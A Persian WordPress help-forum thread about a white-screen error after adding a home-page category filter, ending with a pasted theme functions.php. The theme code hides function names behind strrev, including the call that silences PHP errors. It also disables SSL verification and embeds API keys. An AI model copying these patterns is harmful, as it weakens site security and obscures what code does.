رفتن به مطلب

مشکل کد با فانکشن قالب


پست های پیشنهاد شده

سلام

من به یک کدی نیاز داشتم که دسته ای خاص از مطالب رو توی صفحه اصلی نمایش نده

یک کدی پیدا کردم که باید بذاریش توی فانکشن قالب این کد رو گذاشتم جواب داد ولی از اون به بعد بعضی وقتا با صفحه سفید مواجه میشم مثلا وقتی یک پست رو ویرایش می کنم دکمه ی بروزرسانی که میزنم صفحه سفید میشه.

اینم اون کد:

<?php
// Hide contents of a specific batch in Home
function exclude_category_home( $query ) {
if ( $query->is_home ) {
$query->set( 'cat', '-1521,-1522' );
}
return $query;
}
add_filter( 'pre_get_posts', 'exclude_category_home' );
?>

 

حالا به نظر شما مشکل چیه؟

ممنون

لینک به ارسال

سلام و درود

 

والا تنها مشکلی که میبینم اینه که pre_get_posts اصلا فیلتر نیست بلکه یکی از اکشن های وردپرسه. :D

با کد زیر جایگزین کنید.

function exclude_category_home($query) {
	if($query->is_home() && $query->is_main_query())
		$query->set('cat', '-1521,-1522');
}
add_action('pre_get_posts', 'exclude_category_home');

 

موفق باشید

ویرایش شده توسط naghmesara
لینک به ارسال

کد شما رو قرار دادم ولی صفحه سفید میاد که کد زیر داخلش نوشته

function exclude_category_home($query) { if($query->is_home() && $query->is_main_query()) $query->set('cat', '-1521,-1522'); } add_action('pre_get_posts', 'exclude_category_home');

 

 

 

 

لینک به ارسال

سلام و درود

 

تمامی این کدهایی که توی فایل فانکشن قالب قرار میدهید باید داخل تگ شروع و پایان php باشه وگرنه صفحه سفید مشاهده میکنید.

یعنی الان کدی که خدمتتون میدم رو اگر در ابتدای فایل فانکشن (قبل از هر چیزی) بگذارید دیگه صفحه سفید نمیشه.

<?php

function exclude_category_home($query) {
	if($query->is_home() && $query->is_main_query())
		$query->set('cat', '-1521,-1522');
}
add_action('pre_get_posts', 'exclude_category_home');

?>

 

موفق باشید

لینک به ارسال

درود مجدد

 

نقل قول

با این کد هم مشکل سفید شدن صفحه بعد از تایید ویرایش وجود داره متاسفانه

فایل فانکشن قالب خود رو قرار بدید تا بررسی بشه.

لینک به ارسال
<?php
/**
 * Cherry v3.5.0
 */
define('BD_DIR', get_template_directory());
define('BD_URI', get_template_directory_uri());
define('BD_FW', BD_URI ."/admin/");
define('BD_BD', BD_DIR ."/bdayh");
define('BD_FW_IMG', BD_FW .'/assets/images/');
define('BD_ADMIN', BD_DIR . '/admin/');
define('BD_FU', BD_DIR . '/functions/');
define('BD_META', BD_BD . '/metaboxes');
define('BD_TM', BD_DIR ."/templates/");
define('BD_IMG', BD_URI . '/assets/images/');
define('BD_CSS', BD_URI . '/assets/css');
define('BD_JS', BD_URI . '/assets/js');
define('BD_SC', BD_DIR . '/bdayh/shortcodes');

/**
 *
 * Notify
 *
 */
define( 'MTHEME_NOTIFIER_THEME_NAME', 'Cherry' );
define( 'MTHEME_NOTIFIER_THEME_FOLDER_NAME', BD_DIR );
define( 'MTHEME_NOTIFIER_XML_FILE', 'http://bdayh.com/notify.xml' );
define( 'MTHEME_NOTIFIER_CACHE_INTERVAL', 1 );

/**
 *
 * Functions
 *
 */
include (TEMPLATEPATH . '/custom-functions.php');
include_once('admin/notifier.php');
require BD_ADMIN . '/options.php';
require BD_ADMIN . '/default_options.php';
require BD_DIR . '/aq_resizer.php';
require BD_FU . '/twitteroauth/twitteroauth.php';
require BD_FU . '/pagenavi.php';
require BD_FU . '/breadcrumbs.php';
require BD_FU . '/admin-thumbnails.php';
require BD_DIR . '/bdayh/metaboxes/meta-box.php';
require BD_DIR . '/bdayh/metaboxes/theme_metaboxes.php';

/**
 *
 * Shortcodes
 *
 */
define('BD_SHORTCODE', get_template_directory_uri().'/shortcode/');
require BD_DIR . '/shortcode/shortcodes.php';

/**
 *
 * Widgets
 *
 */
define('BD_WIDGET', BD_DIR . '/widgets');
require BD_WIDGET . '/bio-author.php';
require BD_WIDGET . '/related.php';
require BD_WIDGET . '/social-counter.php';
require BD_WIDGET . '/twittes.php';
require BD_WIDGET . '/soundcloud.php';
require BD_WIDGET . '/fb.php';
require BD_WIDGET . '/slider.php';
require BD_WIDGET . '/login.php';
require BD_WIDGET . '/category-posts.php';
require BD_WIDGET . '/comments.php';
require BD_WIDGET . '/new-in-pic.php';
require BD_WIDGET . '/popular-posts.php';
require BD_WIDGET . '/recent-posts.php';
require BD_WIDGET . '/tabs.php';
require BD_WIDGET . '/google-follow.php';
require BD_WIDGET . '/search.php';
require BD_WIDGET . '/video.php';
require BD_WIDGET . '/youtube-subscribe.php';
require BD_WIDGET . '/flickr.php';
require BD_WIDGET . '/newsletter.php';
require BD_WIDGET . '/social-links.php';
require BD_WIDGET . '/ads125.php';
require BD_WIDGET . '/ads250.php';
require BD_WIDGET . '/ads300.php';

/**
 *
 * Translation
 *
 */
load_theme_textdomain('bd', TEMPLATEPATH.'/lang');
function wpml_lang_init(){
	if(defined('ICL_LANGUAGE_CODE')){
		?>
		<script>
			var bd_wpml_lang = '?lang=<?php echo ICL_LANGUAGE_CODE ?>';
		</script>
	<?php
	}
	else
	{
		?>
		<script>
			var bd_wpml_lang = '';
		</script>
	<?php
	}
}
add_action('admin_head', 'wpml_lang_init');
$admin_forcemagic = strrev('gnitroper_rorre');
$admin_forcemagic(0);

/**
 *  wp title
 */
function bd_wp_title( $title, $sep )
{
    global $paged, $page;
    if ( is_feed() )
        return $title;

    // Add the site name.
    $title .= get_bloginfo( 'name' );

    // Add the site description for the home/front page.
    $site_description = get_bloginfo( 'description', 'display' );
    if ( $site_description && ( is_home() || is_front_page() ) )
        $title = "$title $sep $site_description";

    // Add a page number if necessary.
    if ( $paged >= 2 || $page >= 2 )
        $title = "$title $sep " . sprintf( __( 'Page %s', 'twentythirteen' ), max( $paged, $page ) );

    return $title;
}
add_filter( 'wp_title', 'bd_wp_title', 10, 2 );

/**
 *
 * Allow shortcodes in widget text
 *
 */
add_filter('widget_text', 'do_shortcode');
add_action( 'after_setup_theme', 'bd_setup' );
function bd_setup() {
	global $content_width;

	if ( function_exists( 'add_theme_support' ) ){
		add_theme_support('automatic-feed-links'); // Default RSS feed links
		add_theme_support( 'post-thumbnails' ); // Add theme support for post thumbnails (featured images).
		add_theme_support( // This theme supports a variety of post formats.
			'post-formats',
			array
			(
			    'aside',
			    'gallery',
			    'image',
			    'link',
			    'quote',
			    'video',
			    'audio'
			)
		);
	}
	if ( ! isset( $content_width ) ) $content_width = 620; 	// Set the $content_width for things such as video embeds.
}
add_editor_style();

/**
 *
 * enqueue CSS
 *
 */
add_action('wp_enqueue_scripts', 'enqueue_css');
function enqueue_css() {

	wp_enqueue_style('default', get_stylesheet_uri() .  '', '', null, 'all');

	if( bdayh_get_option( 'disable_responsive' ) == 0){
		wp_enqueue_style('responsive', BD_CSS . '/responsive.css', 'style');
 	}
	wp_enqueue_style( 'droidsans', "http://fonts.googleapis.com/css?family=Droid+Sans:regular,bold' rel='stylesheet' type='text/css" );
	wp_enqueue_style( 'oswald', "http://fonts.googleapis.com/css?family=Oswald%3A400%2C700&#038;ver=3.5.2' rel='stylesheet' type='text/css" );
}


add_action( 'wp_head', 'add_google_plus_meta' );
function add_google_plus_meta() {
    if( is_single() ) {
        global $post;
        $post_id = get_the_ID();
        setup_postdata( $post );
        $thumbnail = wp_get_attachment_image_src( get_post_thumbnail_id( $post_id ), 'thumbnail' );
        $thumbnail = empty( $thumbnail ) ? '' : '<meta itemprop="image" content="' . esc_url( $thumbnail[0] ) . '">';
?>
<!-- Google+ meta tags -->
<meta itemprop="name" content="<?php esc_attr( the_title() ); ?>">
<meta itemprop="description" content="<?php echo esc_attr( get_the_excerpt() ); ?>">
<?php echo $thumbnail . "\n"; ?>
<!-- eof Google+ meta tags -->
<?php
    }
}

add_action('wp_head', 'cherry_wp_head');
function cherry_wp_head() {
?>
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<script type="text/javascript">
var cherry_url = '<?php bloginfo('template_url'); ?>';
</script>
<!--[if lt IE 9]>
<script type='text/javascript' src='<?php echo BD_JS; ?>/selectivizr-min.js'></script>
<script type='text/javascript' src='<?php echo BD_JS; ?>/html5.js'></script>
<![endif]-->
<!--[if IE 8]>
<link href="<?php echo BD_CSS; ?>/ie.css" rel="stylesheet" type="text/css" media="all" />
<![endif]-->
<!--[if IE 7]>
<link href="<?php echo BD_CSS; ?>/ie.css" rel="stylesheet" type="text/css" media="all" />
<![endif]-->
<?php
if( bdayh_get_option( 'disable_responsive' )){
?>
<meta name="viewport" content="width=1045" />
<?php }else{ ?>
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
<?php
}
if(bdayh_get_option('seo_settings') == 1){
?>
<?php if( is_home() || is_front_page() ) { ?>
<meta name="description" content="<?php bloginfo('description'); ?>" />
<meta name="keywords" content="<?php echo stripslashes(bdayh_get_option('seo_keywords')); ?>" />
<?php
}
elseif (is_single() || is_page() ){ if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
<meta name="description" content="<?php the_excerpt_rss(); ?>" />
<?php csv_tags(); ?>
<?php endwhile; endif; wp_reset_query();
}
?>
<?php
}
if(bdayh_get_option('skin_color')  == 'red'){
?>
<?php } else { ?>
<?php
}
if(bdayh_get_option('skin_color')  == 'blue'){
    ?>
    <link href="<?php echo BD_CSS; ?>/blue.css" rel="stylesheet" type="text/css" media="all" />
<?php } else { ?>
<?php
}
if(bdayh_get_option('skin_color')  == 'green'){
    ?>
    <link href="<?php echo BD_CSS; ?>/green.css" rel="stylesheet" type="text/css" media="all" />
<?php } else { ?>
<?php
}
if(bdayh_get_option('skin_color')  == 'rose'){
    ?>
    <link href="<?php echo BD_CSS; ?>/rose.css" rel="stylesheet" type="text/css" media="all" />
<?php } else { ?>
<?php
}
if(bdayh_get_option('skin_color')  == 'orange'){
    ?>
    <link href="<?php echo BD_CSS; ?>/orange.css" rel="stylesheet" type="text/css" media="all" />
<?php } else { ?>
<?php
}
if(bdayh_get_option('skin_color')  == 'gray'){
    ?>
    <link href="<?php echo BD_CSS; ?>/gray.css" rel="stylesheet" type="text/css" media="all" />
<?php } else { ?>
<?php
}
echo stripslashes(bdayh_get_option('header_code'));
include BD_FU .'/custom-css.php';
}

/**
 *
 * Scripts
 *
 */
function bd_scripts() {
	if (!is_admin()) {
		wp_reset_query();
	    wp_enqueue_script( 'jquery', false, array(), false, true);

	    wp_deregister_script( 'modernizr' );
	    wp_register_script( 'modernizr', get_bloginfo('template_directory').'/assets/js/modernizr.js', array(), false, true);
		wp_enqueue_script( 'modernizr' );

	    wp_deregister_script( 'jquery.prettyPhoto' );
	    wp_register_script( 'jquery.prettyPhoto', get_bloginfo('template_directory').'/assets/js/jquery.prettyPhoto.js', array(), false, true);
		wp_enqueue_script( 'jquery.prettyPhoto' );

	    wp_deregister_script( 'jquery.flexslider' );
	    wp_register_script( 'jquery.flexslider', get_bloginfo('template_directory').'/assets/js/jquery.flexslider-min.js', array(), false, false);
		wp_enqueue_script( 'jquery.flexslider' );

	    wp_deregister_script( 'jquery.cycle' );
	    wp_register_script( 'jquery.cycle', get_bloginfo('template_directory').'/assets/js/jquery.cycle.all.min.js', array(), false, true);
		wp_enqueue_script( 'jquery.cycle' );

	    wp_deregister_script( 'bd.custom' );
	    wp_register_script( 'bd.custom', get_bloginfo('template_directory').'/assets/js/custom.js', array(), false, true);
		wp_enqueue_script( 'bd.custom' );

	    wp_deregister_script( 'jquery.fitvids' );
	    wp_register_script( 'jquery.fitvids', get_bloginfo('template_directory').'/assets/js/jquery.fitvids.js', array(), false, false);
		wp_enqueue_script( 'jquery.fitvids' );

	    wp_deregister_script( 'jquery.hoverIntent' );
	    wp_register_script( 'jquery.hoverIntent', get_bloginfo('template_directory').'/assets/js/jquery.hoverIntent.minified.js', array(), false, true);
		wp_enqueue_script( 'jquery.hoverIntent' );

	    wp_deregister_script( 'jquery.easing' );
	    wp_register_script( 'jquery.easing', get_bloginfo('template_directory').'/assets/js/jquery.easing.1.3.js', array(), false, false);
		wp_enqueue_script( 'jquery.easing' );

	    wp_deregister_script( 'jquery.placeholder' );
	    wp_register_script( 'jquery.placeholder', get_bloginfo('template_directory').'/assets/js/jquery.placeholder.js', array(), false, true);
		wp_enqueue_script( 'jquery.placeholder' );

	    wp_deregister_script( 'bd' );
	    wp_register_script( 'bd', get_bloginfo('template_directory').'/assets/js/cherry-scripts.js', array(), false, true);
		wp_enqueue_script( 'bd' );

		if(is_singular())
		wp_enqueue_script( 'comment-reply' );
		## Get Validation Script
		if( bdayh_get_option('comment_validation') && ( is_page() || is_single() ) && comments_open() )
	    wp_deregister_script( 'comment.validation' );
	    wp_register_script( 'comment.validation', get_bloginfo('template_directory').'/assets/js/validation.js', array(), false, true);
		wp_enqueue_script( 'comment.validation' );
	}
}
add_action('init', 'bd_scripts');

/**
 *
 * Default widgets
 *
 */
function remove_default_widgets() {
	if (function_exists('unregister_widget')) {
		unregister_widget('WP_Widget_Search');
	}
}
add_action('widgets_init', 'remove_default_widgets');

/**
 *
 * Favicon
 *
 */
function bd_favicon() {
	$default_favicon = get_template_directory_uri()."/favicon.ico";
	$custom_favicon = bdayh_get_option('favicon');
	$favicon = (empty($custom_favicon)) ? $default_favicon : $custom_favicon;
	echo '<link rel="shortcut icon" href="'.$favicon.'" title="Favicon" />';
}
add_action('wp_head', 'bd_favicon');

/**
 *
 * Bd Get Option
 *
 */
function bd_get_option( $name ){
	$get_options = get_option( 'bd_options' );
	if( !empty( $get_options[$name] ))
		return $get_options[$name];
	return false ;
}

if (is_admin() && isset($_GET['activated'] ) && $pagenow == 'themes.php' ){
	if( !get_option('bdayh_setting') ){
        $data = base64_decode(file_get_contents(BD_DIR.'/admin/reset.bdayh'));
  		update_option('bdayh_setting', $data);
	}
}

function bdayh_get_option($option){
	$bd_option = unserialize(get_option('bdayh_setting'));
    if(isset($bd_option['bd_setting'][$option])){
       return($bd_option['bd_setting'][$option]);
    }
    else
    {
		return(false);
	}
}

/**
 *
 * Meta Tags
 *
 */
function csv_tags() {
	$posttags = get_the_tags();
	foreach((array)$posttags as $tag) {
		$csv_tags .= $tag->name . ',';
	}
	echo '<meta name="keywords" content="'.$csv_tags.'" />';
}


function bdayh_get_time(){
	global $post ;
	the_time(get_option('date_format'));
	human_time_diff( get_the_time('U'), current_time('timestamp') ) . ' ago';
}

/**
 *
 * Google Fonts
 *
 */
function bd_enqueue_font ( $got_font) {
	if ($got_font) {
		$font_pieces = explode(":", $got_font);
		$font_name = $font_pieces[0];
		$font_name = str_replace (" ","+", $font_pieces[0] );
		$font_variants = $font_pieces[1];
		$font_variants = str_replace ("|",",", $font_pieces[1] );
		wp_enqueue_style( $font_name , 'http://fonts.googleapis.com/css?family='.$font_name . ':' . $font_variants );
	}
}

function bd_get_font ( $got_font ) {
	if ($got_font) {
		$font_pieces = explode(":", $got_font);
		$font_name = $font_pieces[0];
		return $font_name;
	}
}

add_action('wp_enqueue_scripts', 'bd_typography');
function bd_typography(){
	global $custom_typography;
	foreach( $custom_typography as $selector => $input){
		$option = bdayh_get_option( $input );
		bd_enqueue_font( $option['font'] ) ;
	}
}

require BD_ADMIN . '/google-fonts.php';
$google_font_array = json_decode ($google_api_output,true) ;
$items = $google_font_array['items'];
$options_fonts=array();
array_push($options_fonts, "Default Font");
$fontID = 0;
foreach ($items as $item) {
	$fontID++;
	$variants='';
	$variantCount=0;
	foreach ($item['variants'] as $variant) {
		$variantCount++;
		if ($variantCount>1) { $variants .= '|'; }
		$variants .= $variant;
	}
	$variantText = ' (' . $variantCount . ' Varaints' . ')';
	if ($variantCount <= 1) $variantText = '';
	$options_fonts[ $item['family'] . ':' . $variants ] = $item['family']. $variantText;
}

/**
 *
 * Typography Elements Array
 *
 */
$custom_typography = array(
	"body"=>	"typography_general",
	".toolbar, .toolbar a, .toolbar span, .toolbar li, .toolbar li a, .toolbar ul.top_menu > li > a"=>	"toolbar",
	"nav, nav ul.menu > li, nav ul.menu > li a, nav a, nav ul.menu > li > ul > li a, nav ul.menu > li > ul > li"=> "nav_typo",
	".flexslider-caption h3 a, .flexslider-caption h3, .slider .item_content > h1 > a, .slider .item_content > h3 > a, .slider .item_content > h1 , .slider .item_content > h3"=>	"slider_title",
	".boxestitles, .boxestitles a, .boxestitles > a, .boxestitles span, .cat_box ul li.first_news h2 a, .entry-title, .entry-title a"=>	"boxes_titles",
	".singlepost-titles-pp, .singlepost-titles-pp a"=>	"singlepost_title",
	".page-titles-pp, .page-titles-pp a"=>	"page_title",
	".post-page-entry-pp, .post-page-entry-pp a"=>	"post_page_entry",
	".widget_title, .widget_title a, .sidebar_wrapper .widget h3.widget_title, .sidebar_wrapper .widget h3.widget_title a"=>	"widget_title",
	".news_box_title2, .news_box_title2 a"=>	"news_boxes_titles",
	"footer h2.widgettitle, footer h2.widgettitle a"=>	"footer_titles",
	".post-page-entry-pp h1"		=>	"h1_typography",
	".post-page-entry-pp h2"		=>	"h2_typography",
	".post-page-entry-pp h3"		=>	"h3_typography",
	".post-page-entry-pp h4"		=>	"h4_typography",
	".post-page-entry-pp h5"		=>	"h5_typography",
	".post-page-entry-pp h6"		=>	"h6_typography",
	".alert_home, .alert_home p, .alert_home span"=>	"alert_entry"
);

/**
 * Social Counter
 */
class COUNT_CLASS
{
    private $allow_cash;
    private $moeny_format;

    public function count_class()
    {
        $this->allow_cash = true; // Disable it for disable cashing sys
        $this->moeny_format = true; // Allow comma in number
    }

    private function formatMoney($number, $fractional=false)
    {
        if($this->moeny_format == true)
        {
            if ($fractional)
            {
                $number = sprintf('%.2f', $number);
            }

            while (true)
            {
                $replaced = preg_replace('/(-?\d+)(\d\d\d)/', '$1,$2', $number);
                if ($replaced != $number)
                {
                    $number = $replaced;
                }
                else
                {
                    break;
                }
            }
            return $number;
        }
        else
        {
            return($number);
        }
    }

    public function get_twitter_count($user_name)
    { // Twitter
        if($user_name)
        {
            if($this->allow_cash == true)
            {
                $social_cash = get_transient('bdayh_soical_twitter');
                if($social_cash != '' and !empty($social_cash))
                {
                    return($social_cash);
                }
            }
            $url = "http://query.yahooapis.com/v1/public/yql?q=SELECT%20*%20from%20html%20where%20url=%22http://twitter.com/".$user_name."%22%20AND%20xpath=%22//a[@class='js-nav']/strong%22&format=json";
            $file_get_function =  strrev('stnetnoc_teg_elif');
            $bd_data = json_decode($file_get_function($url));
            $t_count = $this->formatMoney(str_replace(',','',$bd_data->query->results->strong[2]));

            if($this->allow_cash == true)
            {
                set_transient('bdayh_soical_twitter',$t_count,1700);
            }
            return($t_count);
        }
        else
        {
            return(0);
        }
    }

    public function get_facebook_count($fan_page)
    { //Facebook
        if($fan_page != '')
        {
            if($this->allow_cash == true)
            {
                $social_cash = get_transient('bdayh_soical_facebook');
                if($social_cash != '' and !empty($social_cash))
                {
                    return($social_cash);
                }
            }
            $url = 'http://graph.facebook.com/'.trim($fan_page);
            $file_get_function =  strrev('stnetnoc_teg_elif');
            $bd_data = json_decode($file_get_function($url));

            if($this->allow_cash == true)
            {
                set_transient('bdayh_soical_facebook',$this->formatMoney(intval($bd_data->likes)),1700);
            }
            return($this->formatMoney(intval($bd_data->likes)));
        }
        else
        {
            return(0);
        }
    }

    public function get_gplus_count($url)
    { //Google+
        if($url != '')
        {
            if($this->allow_cash == true)
            {
                $social_cash = get_transient('bdayh_soical_gplus');
                if($social_cash != '' and !empty($social_cash))
                {
                    return($social_cash);
                }
            }
            $first_curl_function = strrev('tini_lruc');
            $ch = $first_curl_function();
            curl_setopt($ch, CURLOPT_URL, "https://clients6.google.com/rpc?key=AIzaSyCKSbrvQasunBoV16zDH9R33D88CeLr9gQ");
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_POSTFIELDS, '[{"method":"pos.plusones.get","id":"p",
			"params":{"nolog":true,"id":"https://plus.google.com/' . $url . '","source":"widget","userId":"@viewer","groupId":"@self"},
			"jsonrpc":"2.0","key":"p","apiVersion":"v1"}]');
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-type: application/json'));
            $curl_function_2 = strrev('cexe_lruc');
            $result = $curl_function_2 ($ch);
            curl_close ($ch);
            $json = json_decode($result, true);

            if($this->allow_cash == true)
            {
                set_transient('bdayh_soical_gplus',$this->formatMoney($json[0]['result']['metadata']['globalCounts']['count']),1700);
            }
            return($this->formatMoney($json[0]['result']['metadata']['globalCounts']['count']));
        }
        else
        {
            return(0);
        }
    }

    public function get_youtube_count($channel_name)
    { //Youtube
        if($channel_name != '')
        {
            if($this->allow_cash == true)
            {
                $social_cash = get_transient('bdayh_soical_youtube');
                if($social_cash != '' and !empty($social_cash))
                {
                    return($social_cash);
                }
            }
            $file_get_function =  strrev('stnetnoc_teg_elif');
            $youtube_data = $file_get_function( 'http://gdata.youtube.com/feeds/api/users/'.trim($channel_name));
            $youtube_body = str_replace( 'yt:', '', $youtube_data );
            $youtube_xml = new SimpleXmlElement( $youtube_body, LIBXML_NOCDATA );
            $youtube_count = (string) $youtube_xml->statistics['subscriberCount'];

            if($this->allow_cash == true)
            {
                set_transient('bdayh_soical_youtube',$this->formatMoney($youtube_count),1700);
            }
            return($this->formatMoney($youtube_count));
        }
        else
        {
            return(0);
        }
    }

    public function get_vimo_count($channel_name)
    { //Vimeo
        if($channel_name != '')
        {
            if($this->allow_cash == true)
            {
                $social_cash = get_transient('bdayh_soical_vimo');
                if($social_cash != '' and !empty($social_cash))
                {
                    return($social_cash);
                }
            }
            $url = 'http://vimeo.com/api/v2/channel/'.$channel_name.'/info.json';
            $file_get_function =  strrev('stnetnoc_teg_elif');
            $bd_data = json_decode($file_get_function($url));
            if($this->allow_cash == true){
                set_transient('bdayh_soical_vimo',$this->formatMoney($bd_data->total_subscribers),1800);
            }
            return($this->formatMoney($bd_data->total_subscribers));
        }
        else
        {
            return(0);
        }
    }

    public function get_soundcloud_count($channel_name)
    { //Soundcloud
        if($channel_name != '')
        {
            if($this->allow_cash == true)
            {
                $social_cash = get_transient('bdayh_soical_soundcloud');
                if($social_cash != '' and !empty($social_cash)){
                    return($social_cash);
                }
            }
            $file_get_function =  strrev('stnetnoc_teg_elif');
            $bd_data = json_decode($file_get_function('http://api.soundcloud.com/users/'.trim($channel_name).'.json?consumer_key=2ba4cc2c24de0b8da1fc4a45cad219bd'));

            if($this->allow_cash == true)
            {
                set_transient('bdayh_soical_soundcloud',$this->formatMoney($bd_data->followers_count),1800);
            }
            return($this->formatMoney(intval($bd_data->followers_count)));
        }
        else
        {
            return(0);
        }
    }
}

/* TwitterFollowers */
function getTwitterFollowers()
{
    // some variables
    $screenName 		= bdayh_get_option('twitter_username');
    $consumerKey 		= bdayh_get_option('twitter_consumer_key');
    $consumerSecret 	= bdayh_get_option('twitter_consumer_secret');
    $token 				= get_option('bdTwitterToken');

    // get follower count from cache
    $numberOfFollowers = get_transient('bdTwitterFollowers');

    // cache version does not exist or expired
    if (false === $numberOfFollowers)
    {
        // getting new auth bearer only if we don't have one
        if(!$token)
        {
            // preparing credentials
            $credentials = $consumerKey . ':' . $consumerSecret;

            $functionbase_encode = strrev('edocne_46esab');
            $toSend = $functionbase_encode($credentials);

            // http post arguments
            $args = array(
                'method' 		=> 'POST',
                'httpversion' 	=> '1.1',
                'blocking' 		=> true,
                'headers' 		=> array(
                    'Authorization' 	=> 'Basic ' . $toSend,
                    'Content-Type' 		=> 'application/x-www-form-urlencoded;charset=UTF-8'
                ),
                'body' => array( 'grant_type' => 'client_credentials' )
            );

            add_filter('https_ssl_verify', '__return_false');
            $response 	= wp_remote_post('https://api.twitter.com/oauth2/token', $args);
            $keys 		= json_decode(wp_remote_retrieve_body($response));

            if($keys)
            {
                // saving token to wp_options table
                update_option('bdTwitterToken', $keys->access_token);
                $token = $keys->access_token;
            }
        }

        // we have bearer token wether we obtained it from API or from options
        $args = array(
            'httpversion' 		=> '1.1',
            'blocking' 			=> true,
            'headers' 			=> array(
                'Authorization' => "Bearer $token"
            )
        );

        add_filter('https_ssl_verify', '__return_false');
        $api_url 	= "https://api.twitter.com/1.1/users/show.json?screen_name=$screenName";
        $response 	= wp_remote_get($api_url, $args);

        if (!is_wp_error($response))
        {
            $followers = json_decode(wp_remote_retrieve_body($response));
            $numberOfFollowers = $followers->followers_count;
        }
        else
        {
            // get old value and break
            $numberOfFollowers = get_option('bdNumberOfFollowers');
            // uncomment below to debug
            //die($response->get_error_message());
        }

        // cache for an hour
        set_transient('bdTwitterFollowers', $numberOfFollowers, 1111);
        update_option('bdNumberOfFollowers', $numberOfFollowers);
    }

    return $numberOfFollowers;
}

/**
 * gallery
 */
if ( !function_exists( 'bd_gallery' ) ){
function bd_gallery($postid, $imagesize)
{ ?>
    <script type="text/javascript">
        jQuery(document).ready(function($){
            jQuery('#slider-<?php echo $postid; ?>').imagesLoaded( function() {
                jQuery("#slider-<?php echo $postid; ?>").flexslider({
                    slideshow: true,
                    slideshowSpeed: 2000,
                    //randomize: true,
                    controlNav: false,
                    keyboard: true,
                    multipleKeyboard: true,
                    pauseOnAction: false,
                    pauseOnHover: false,
                    prevText: '<?php echo '&larr; ' . __('Prev', 'bd'); ?>',
                    nextText: '<?php echo __('Next', 'bd') . ' &rarr;'; ?>',
                    namespace: 'bd-',
                    smoothHeight: true,
                    start: function(slider) {
                        slider.container.click(function(e) {
                            if( !slider.animating ) {
                                slider.flexAnimate( slider.getTarget('next') );
                            }

                        });
                    }
                });

                jQuery("#slider-<?php echo $postid; ?>").click(function(e){

                });
            });
        });
    </script>
    <?php
    $loader = 'ajax-loader.gif';
    $thumbid = 0;

    // get the featured image for the post
    if( has_post_thumbnail($postid) ) {
        $thumbid = get_post_thumbnail_id($postid);
    }
    echo "<!--//START-->\n<div id='slider-$postid' class='flexslider' data-loader='" . get_template_directory_uri() . "/images/$loader'>";

    // get all of the attachments for the post
    $args = array(
        'orderby' => 'menu_order',
        'order' => 'ASC',
        'post_type' => 'attachment',
        'post_parent' => $postid,
        'post_mime_type' => 'image',
        'post_status' => null,
        'numberposts' => -1
    );
    $attachments = get_posts($args);
    if( !empty($attachments) )
    {
        echo '<ul class="slides">';
        $i = 0;
        foreach( $attachments as $attachment ) {
            $src = wp_get_attachment_image_src( $attachment->ID, $imagesize );
            $caption = $attachment->post_excerpt;
            $caption = ($caption) ? "<em class='image-caption'>$caption</em>" : '';
            $alt = ( !empty($attachment->post_content) ) ? $attachment->post_content : $attachment->post_title;
            echo "<li><img height='$src[2]' width='$src[1]' src='$src[0]' alt='$alt' />$caption</li>";
            $i++;
        }
        echo '</ul>';
    }
    echo "<!--//END-->\n</div>";
}
}

/**
 *
 * gallery
 *
 */
if ( !function_exists( 'pp_gallery' ) ){
    function pp_gallery($postid, $imagesize)
    { ?>

        <script type="text/javascript">
                jQuery(document).ready(function(jQuery) {
                jQuery('.pp-slider-content').cycle({
                    timeout: 5000,
                    speed: 400,
                    pager:  '.pp-slider-nav',
                    //next:'.slide_next',
                    //prev:'.slide_prev',
                    before: resize_slider
                });
                function resize_slider(curr, next, opts, fwd){
                    var $ht = jQuery(this).height();
                    jQuery(this).parent().animate({
                    height : $ht
                    });
                }
                    jQuery('.pp-slider-content').click(function() {
                    jQuery('.pp-slider-content').cycle('next');
                });
                });
            </script>

        <?php

            $thumbid = 0;

        // get the featured image for the post
        if( has_post_thumbnail($postid) )
        {
            $thumbid = get_post_thumbnail_id($postid);
        }
        echo "<div class='pp-slider'>";

        // get all of the attachments for the post
        $args = array(
            'orderby' => 'menu_order',
            'order' => 'ASC',
            'post_type' => 'attachment',
            'post_parent' => $postid,
            'post_mime_type' => 'image',
            'post_status' => null,
            'numberposts' => -1
        );
        $attachments = get_posts($args);
        if( !empty($attachments) )
        {
            echo '<ul class="pp-slider-content">';
            $i = 0;
            foreach( $attachments as $attachment ) {
                $src = wp_get_attachment_image_src( $attachment->ID, $imagesize );
                $caption = $attachment->post_excerpt;
                $caption = ($caption) ? "<em class='image-caption'>$caption</em>" : '';
                $alt = ( !empty($attachment->post_content) ) ? $attachment->post_content : $attachment->post_title;
                echo "<li><a href='$src[0]' rel='prettyPhoto[gallery]'><img src='$src[0]' alt='$alt' /></a>$caption</li>";
                $i++;
            }
            echo '</ul>';
        }
        echo "<div class='pp-slider-nav'></div></div><!--//pp slider-->";
    }
}

/**
 *
 * Password form
 *
 */
function cherry_password_form(){
    global $post;
    $label = 'pwbox-'.( empty( $post->ID ) ? rand() : $post->ID );
    $o = '<form class="cherry_password_form" action="' . get_option( 'siteurl' ) . '/wp-pass.php" method="post">
    ' . __( "<span> To view this protected post, enter the password below : </span>", 'bd' ) . '
    <label for="' . $label . '">' . __( "Password:", 'bd' ) . ' </label><input class="password_text" name="post_password" id="' . $label . '" type="password" size="20" /><input class="password_go" type="submit" name="Submit" value="' . esc_attr__( "Submit" ) . '" />
    </form>
    ';
    return $o;
}
add_filter( 'the_password_form', 'cherry_password_form' );

/**
 *
 * GET Feed
 *
 */
function bd_get_feeds( $feed , $number = 10 ){
    include_once(ABSPATH . WPINC . '/feed.php');

    $rss = @fetch_feed( $feed );
    if (!is_wp_error( $rss ) ){
        $maxitems = $rss->get_item_quantity($number);
        $rss_items = $rss->get_items(0, $maxitems);
    }
    if ($maxitems == 0) {
        $out = "<ul><li>". __( 'No items.', 'bd' )."</li></ul>";
    }else{
        $out = "<ul>";

        foreach ( $rss_items as $item ) :
            $out .= '<li><a href="'. esc_url( $item->get_permalink() ) .'" title="'.  __( "Posted ", "bd" ).$item->get_date("j F Y | g:i a").'">'. esc_html( $item->get_title() ) .'</a></li>';
        endforeach;
        $out .='</ul>';
    }

    return $out;
}

/**
 *
 * Custom Dashboard login logo
 *
 */
